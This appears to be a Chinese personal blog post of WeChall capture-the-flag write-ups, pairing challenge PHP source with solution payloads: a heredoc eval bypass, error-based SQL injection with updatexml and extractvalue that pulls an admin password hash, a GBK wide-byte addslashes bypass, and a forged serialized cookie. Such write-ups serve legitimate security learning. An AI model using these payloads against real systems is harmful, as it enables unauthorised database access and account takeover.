wechall部分题目解析

最近闲来无事,自己写了这个博客以及做了一些wechall上的一些题目,其中有些还是有很大参考价值的,在这里放下来留给自己看,另外还可以自己自查

php 0819

<?php
// closure, because of namespace!
$challenge = function()
{
        $f = Common::getGetString('eval');        $f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);

        if((strlen($f) > 13) || (false !== stripos($f, 'return')))
        {
                die('sorry, not allowed!');        }

        try
        {
                eval("\$spaceone = $f");        }
        catch (Exception $e)
        {
                return false;
        } 
        return ($spaceone === '1337');
};
?>

以上是他的部分源码,通过源码,可以传入一个eval的参数,经过过滤之后可以进行判断,最后要求是eval可以传入1337,这里需要用到一种php的引用字符串的heredoc技术。 关于heredoc技术,关键就是利用<<<以及换行符跟标识符将1337传至eval参数中即可。 最后payload:

?eval=<<<a%0a1337%0aa;%0a

php 0815

同样也有源码

I have this script and its prone to sql injection.
Your mission is to provide me with a fix.
The solution is the fix with the least effort (The shortest way to fix at some logic position), and guarantee the script does still work.
if you think "urldecode()" will fix the script you simply enter it as solution.
The solution has to contain all chars that you need to type.
Feel Free to discuss it in the forums, its kinda training challenge :)
<?
# Only allow these ID's
$whitelist = array(1, 2, 3);

# if show is not set die with error.if (false === ($show = isset($_GET['show']) ? $_GET['show'] : false)) {
        die('MISSING PARAMETER; USE foo.bar?show=[1-3]');
}
# check if get var is sane (is it in whitelist ?)
elseif (in_array($show, $whitelist)){
        $query = "SELECT 1 FROM `table` WHERE `id`=$show";
        echo 'Query: '.htmlspecialchars($query, ENT_QUOTES).'<br/>';
        die('SHOWING NUMBER '.htmlspecialchars($show, ENT_QUOTES));
}else # Not in whitelist !
{
        die('HACKER NONONO');
}
?>

题意是这段代码里有sql注入,要求提交一个解决办法,来解决sql注入问题。 通过题意,得到问题在is_array哪里is_array函数不会对$show进行判断其类型,只要我们可以将show参数进行处理,即可解决问题。 payload:-0

php no escape

<?php
//
// Trigger Moved to index.php
//if (false !== ($who = Common::getGet('vote_for'))) {
//  noesc_voteup($who);
//}
//
/**
 * Get the database link
 * @return GDO_Database
 */
function noesc_db()
{
    static $noescdb = true;
    if ($noescdb === true)
    {
        $noescdb = gdo_db_instance('localhost', NO_ESCAPE_USER, NO_ESCAPE_PW, NO_ESCAPE_DB);
        $noescdb->setLogging(false);
        $noescdb->setEMailOnError(false);
    }
    return $noescdb;
}

/**
 * Create table (called by install-script)
 * The table layout is crappy, there is only 1 row in the table Oo.
 * @return boolean
 */
function noesc_createTable()
{
    $db = noesc_db();
    $query =
        "CREATE TABLE IF NOT EXISTS noescvotes ( ".
        "id     INT(11) UNSIGNED PRIMARY KEY, ". # I could have one row per candidate, but currently there is only one global row(id:1). I know it`s a bit unrealistic, but at least it is safe, isn`t it?
        "bill   INT(11) UNSIGNED NOT NULL DEFAULT 0, ". # bill column
        "barack INT(11) UNSIGNED NOT NULL DEFAULT 0, ". # barack column
        "george INT(11) UNSIGNED NOT NULL DEFAULT 0 )"; # george columb

    if (false === $db->queryWrite($query)) {
        return false;
    }
    return noesc_resetVotes();
}

/**
 * Reset the votes.
 * @return void
 */
function noesc_resetVotes()
{
    noesc_db()->queryWrite("REPLACE INTO noescvotes VALUES (1, 0, 0, 0)");
    echo GWF_HTML::message('No Escape', 'All votes have been reset', false);
}

/**
 * Count a vote.
 * Reset votes when we hit 100 or 111.
 * TODO: Implement multi language
 * @param string $who
 * @return void
 */
function noesc_voteup($who)
{
    if ( (stripos($who, 'id') !== false) || (strpos($who, '/') !== false) ) {
        echo GWF_HTML::error('No Escape', 'Please do not mess with the id. It would break the challenge for others', false);
        return;
    }


    $db = noesc_db();
    $who = mysql_real_escape_string($who);
    $query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";
    if (false !== $db->queryWrite($query)) {
        echo GWF_HTML::message('No Escape', 'Vote counted for '.GWF_HTML::display($who), false);
    }

    noesc_stop100();
}

/**
 * Get all votes.
 * @return array
 */
function noesc_getVotes()
{
    return noesc_db()->queryFirst("SELECT * FROM noescvotes WHERE id=1");
}

/**
 * Reset when we hit 100. Or call challenge solved on 111.
 * @return void
 */
function noesc_stop100()
{
    $votes = noesc_getVotes();
    foreach ($votes as $who => $count)
    {
        if ($count == 111) {
            noesc_solved();
            noesc_resetVotes();
            break;
        }

        if ($count >= 100) {
            noesc_resetVotes();
            break;
        }
    }
}

/**
 * Display fancy votes table.
 * New: it is multi language now.
 * @return unknown_type
 */
function noesc_displayVotes(WC_Challenge $chall)
{
    $votes = noesc_getVotes();
    echo '<table>';
    echo sprintf('<tr><th>%s</th><th>%s</th><th>%s!</th></tr>', $chall->lang('th_name'), $chall->lang('th_count'), $chall->lang('th_vote'));
    $maxwho = '';
    $max = 0;
    $maxcount = 0;
    // Print Candidate rows
    foreach ($votes as $who => $count)
    {
        if ($who !== 'id') // Skip ID
        {
            $count = (int) $count;
            if ($count > $max) {
                $max = $count;
                $maxwho = $who;
                $maxcount = 1;
            }
            elseif ($count === $max) {
                $maxcount++;
            }
            $button = GWF_Button::generic($chall->lang('btn_vote', array($who)), "index.php?vote_for=$who");
            echo sprintf('<tr><td>%s</td><td class="gwf_num">%s</td><td>%s</td></tr>', $who, $count, $button);
        }
    } 
    echo '</table>';

    // Print best candidate.    
    if ($maxcount === 1) {
        echo GWF_Box::box($chall->lang('info_best', array(htmlspecialchars($maxwho))));
    }
}

/**
 * Try to get here :)
 */
function noesc_solved()
{
    if (false === ($chall = WC_Challenge::getByTitle('No Escape'))) {
        $chall = WC_Challenge::dummyChallenge('No Escape', 2, '/challenge/no_escape/index.php', false);
    }
    $chall->onChallengeSolved(GWF_Session::getUserID());
}

?>

源码都给的题本就很好做,从源代码里可以得到关键代码$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";首先知道who是由包起来的,很容易得到我们的payload,而且显错不用盲注,这样就可以直接updatexml即可。(ps:貌似这个可以免杀所有显错注入) payload:```bill=bill or updatexml(1,concat(0x7e,(version())),0)%23```

php Addslashes

<?php
function asvsmysql_login($username, $password)
{
        $username = addslashes($username);
        $password = md5($password);        
        if (false === ($db = gdo_db_instance('localhost', ADDSLASH_USERNAME, ADDSLASH_PASSWORD, ADDSLASH_DATABASE, GWF_DB_TYPE, 'GBK'))) {
                return htmlDisplayError('Can`t connect to database.');
        }
         $db->setLogging(false);
        $db->setEMailOnError(false);

        $query = "SELECT username FROM users WHERE username='$username' AND password='$password'";
                if (false === ($result = $db->queryFirst($query))) {
                return htmlDisplayError('Wrong username/password.');
        }

        if ($result['username'] !== 'Admin') {                return htmlDisplayError('You are logged in, but not as Admin.');
        }

        return htmlDisplayMessage('You are logged in. congrats!');
}?>

这道题并没有做很多的过滤,只在uername上做了一个addslashes,并且不对password进行检查,这样payload就很好做了。 payload:http://www.wechall.net/challenge/addslashes/index.php?username=1234%C0'+union+select+CHAR(65,100,109,105,110)%23&password=123&login=注å或者http://www.wechall.net/challenge/addslashes/index.php?username=1234%C0'+union+select+0x41646d696e%23&password=123&login=注å只要绕过add那个函数就可以

php Are you serial

首先我们提交一下发现Welcome back, 123, your userlevel is 0.,或者说只要让userlevel=1即可? 开始审计源码,发现关键函数

if (false !== ($user = unserialize(Common::getCookie('serial_user', ''))))
{
        # Show welcome screen
        echo GWF_HTML::message('Serial Challenger', $chall->lang('msg_wb', array(htmlspecialchars($user->getUsername()), $user->getPassword(), $user->getUserlevel())));
                # Show logout form
        echo $form_logout->serial_formz()->templateY($chall->lang('ft_logout'));
}

存在unserialize函数时需要考虑php反序列化漏洞,于是构造SERIAL_Solution:

<?php
final class SERIAL_Solution
{
        public $username = '';
        public $password = '';        
        public $userlevel = 0;
}
$a = new SERIAL_Solution();
$a->username='serial';
$a->password='testtest';
$a->userlevel=100;

echo serialize($a);
?>

得到payload,扔到cookie里面即可。

php 0816

这道题主要考察php对get参数的一些处理顺序。

<?php
$cwd = getcwd();
chdir('../../');
require_once('challenge/html_head.php');
html_head('PHP0816 Challenge - The Highlighter');chdir($cwd);

# globals
global $highlights;
$highlights = array(); 
/**
 * Parse the GET parameters.
 */
foreach ($_GET as $key => $value){
        if ($key === 'src') {
                php0816SetSourceFile($value);
        }
        elseif ($key === 'mode') {                php0816execute($value);
        }
        elseif ($key === 'hl') {
                php0816addHighlights($value);
        }}


/**
 * Make magic quotes off ! * (it is really defined in /include/util/Class_Common.php and will deprecate soon)
 * (also you can look on the html_head() stuff, etc. WeChall source is public domain)
 * (if you like a hint: There is a main logical error in this script, applies to all programming languages, not only php. H4\/3: |>  |-|  |_|  |\|)
 */
/*final class Common
{
        public function getGet($varname, $default=false)
        {
                if (!isset($_GET[$varname])) {                        return $default;
                }
                return 
                        get_magic_quotes_gpc() > 0 ?
                                stripslashes($_GET[$varname]) :                                $_GET[$varname];
        }
}
*/
/** * Set the text file to show.
 * Sanitize Get Parameter.
 * Only allow 3 different files by whitelist at the moment.
 * TODO: broken ?!? people can see other files ! :(
 * @param $filename string - the filename * @return void
 */
function php0816SetSourceFile($filename)
{
        $filename = (string) $filename;        
        static $whitelist = array(
                'test.php',
                'index.php',
                'code.php',        );

        # Sanitize by whitelist
        if (!in_array($filename, $whitelist, true))
        {                $_GET['src'] = false;
        }
}

/** * Add the highlighter keywords. 
 * @param $keyword array of strings - the highlighting keywords
 * @return void
 */
function php0816addHighlights($keywords){
        global $highlights;
        if (!is_array($keywords)) { return true; }

        foreach($keywords as $k)        {
                $highlights[] = $k;
        }
}
 /**
 * Execute action.
 * Currently only hl is known.
 * @param $mode
 * @return void */
function php0816execute($mode)
{
        switch($mode)
        {                case 'hl': php0816Highlighter(); break;
        }
}

/** * Call the highlighter :)
 * sweeeeet.
 * @return void
 */
function php0816Highlighter(){
        global $highlights; # <-- global highlights :D

        # SOMEONE SAID THIS WILL FIX IT, BUT PEOPLE CAN STILL SEE solution.php :(  #
        $filename = str_replace(array('/', '\\', '..'), '', Common::getGet('src'));#        
        if (false === ($text = @file_get_contents($filename)))
        {
                echo '<div>File not Found: '.htmlspecialchars($filename, ENT_QUOTES).'</div>';
                return false;        }

        $text = htmlspecialchars($text, ENT_QUOTES);

        foreach ($highlights as $highlight)        {
                $stlye = 'color:#CD7F32; background-color:white; padding: 0 8px;'; 
                $text = str_replace($highlight, '<b style="'.$stlye.'">'.$highlight.'</b>', $text);
        }
                echo '<pre>'.$text.'</pre>';
}

$cwd = getcwd();
chdir('../../');require_once('challenge/html_foot.php');
chdir($cwd);
?>

主要逻辑就是从get中出来的参数,foreach中直接处理,所以只要调整一下get参数的位置,先进入php0816Highlighter即可完成。

php Crappyshare

本地文件包含,没有过滤。

php Yourself PHP

<?php
require 'checkit.php'; # required to check your solution/injection

chdir('../../'); # chroot to web root
define('GWF_PAGE_TITLE', 'Yourself PHP'); # Wrapper hackrequire_once('challenge/html_head.php'); # output start of website

# Get the challenge
if (false === ($chall = WC_Challenge::getByTitle('Yourself PHP'))) {
        $chall = WC_Challenge::dummyChallenge('Yourself PHP', 4, 'challenge/yourself_php/index.php', false);}
# And display the header
$chall->showHeader();

# Show mission box (translated)echo GWF_Box::box($chall->lang('mission_i', array('index.php?highlight=christmas')), $chall->lang('mission_t'));

# Check your injection and fix the hole by silently applying htmlsepcialchars to the vuln input.
if (phpself_checkit())
{        $chall->onChallengeSolved(GWF_Session::getUserID());
}

# Show this file as highlighted sourcecode, if desired
if ('christmas' === Common::getGetString('highlight')){
        $msg = file_get_contents('challenge/yourself_php/index.php');
        $msg = '['.'code=php title=index.php]'.$msg.'['.'/code]';
        echo GWF_Box::box(GWF_Message::display($msg));
} 


# __This is the challenge:
if (isset($_POST['username'])){
        echo GWF_Box::box(sprintf("Well done %s, you entered your username. But this is <b>not</b> what you need to do.", htmlspecialchars(Common::getPostString('username'))));
}
echo '<div class="box box_c">'.PHP_EOL;
echo sprintf('<form action="%s" method="post">', $_SERVER['PHP_SELF']).PHP_EOL;echo sprintf('<div>%s</div>', GWF_CSRF::hiddenForm('phpself')).PHP_EOL;
echo sprintf('<div>Username:<input type="text" name="username" value="" /></div>').PHP_EOL;
echo sprintf('<div><input type="submit" name="deadcode" value="Submit" /></div>').PHP_EOL;
echo sprintf('</form>').PHP_EOL;
echo '</div>'.PHP_EOL;# __End of challenge



# Print Challenge Footerecho $chall->copyrightFooter();
# Print end of website
require_once('challenge/html_foot.php');
?>

xss问题,获取$_SERVER['PHP_SELF']直接填充至form中,我们直接在index后面跟上xss脚本即可。

PHP order by query

<?php
/**
Create user table query, use that in mysql
--------------------------------------------------------------------------
CREATE TABLE IF NOT EXISTS users(
username VARCHAR(32) CHARACTER SET ascii COLLATE ascii_general_ci,
password CHAR(32) CHARACTER SET ascii COLLATE ascii_bin,
apples   INT(10) UNSIGNED DEFAULT 0,
bananas  INT(10) UNSIGNED DEFAULT 0,
cherries INT(10) UNSIGNED DEFAULT 0,
PRIMARY KEY(username)
);
--------------------------------------------------------------------------
*/
?>

<?php
/**
 * @return Database
 */
function addslash2_get_db()
{
    static $as2db = true;
    if ($as2db === true)
    {
        if (false === ($as2db = gdo_db_instance('localhost', ADDSLASH2_USERNAME, ADDSLASH2_PASSWORD, ADDSLASH2_DATABASE, GWF_DB_TYPE))) {
            echo htmlDisplayError('Can`t connect to database.');
        }
        else {
            $as2db->setLogging(false);
            $as2db->setEMailOnError(false);
        }
    }
    return $as2db;
}
?>

<?php
/**
 * Output the nice score table
*/
function addslash2_sort($orderby, $dir)
{
    if (false === ($db = addslash2_get_db())) {
        return false;
    }
    static $whitelist = array(1, 3, 4, 5);
    static $names = array(1 => 'Username', 3 => 'Apples', 4 => 'Bananas', 5 => 'Cherries');

    $dir = GDO::getWhitelistedDirS($dir, 'DESC');

    if (!in_array($orderby, $whitelist)) {
        return htmlDisplayError('Error 1010101: Not in whitelist.');
    }

    $orderby = $db->escape($orderby);

    $query = "SELECT * FROM users ORDER BY $orderby $dir LIMIT 10";
    if (false === ($rows = $db->queryAll($query))) {
        return false;
    }

    $headers = array(
        array('#'),
        array('Username', '1', 'ASC'),
        array('Apples', '3', 'DESC'),
        array('Bananas', '4', 'DESC'),
        array('Cherries', '5', 'DESC'),
    );
    echo '<div class="box box_c">'.PHP_EOL;
    echo '<table>'.PHP_EOL;
    echo GWF_Table::displayHeaders1($headers, GWF_WEB_ROOT.'challenge/order_by_query/index.php?by=%BY%&dir=%DIR%');
    $i = 1;
    foreach ($rows as $row)
    {
        echo GWF_Table::rowStart();
        echo sprintf('<td align="right">%d</td>', $i++);
        echo sprintf('<td>%s</td>', $row['username']);
        echo sprintf('<td align="right">%s</td>', $row['apples']);
        echo sprintf('<td align="right">%s</td>', $row['bananas']);
        echo sprintf('<td align="right">%s</td>', $row['cherries']);
        echo GWF_Table::rowEnd();
    }
    echo '</table>'.PHP_EOL;
    echo '</div>'.PHP_EOL;
}
?>

貌似又是显错注入 payload:http://www.wechall.net/challenge/order_by_query/index.php?by=1 or updatexml(1,concat(0x7e,(right((select password from users where username=0x61646d696e),10)),0x7e),0)%23 或者用extractvalue:?by=3 and extractvalue(1, (select password from users where username=CHAR(65, 100, 109, 105, 110)))#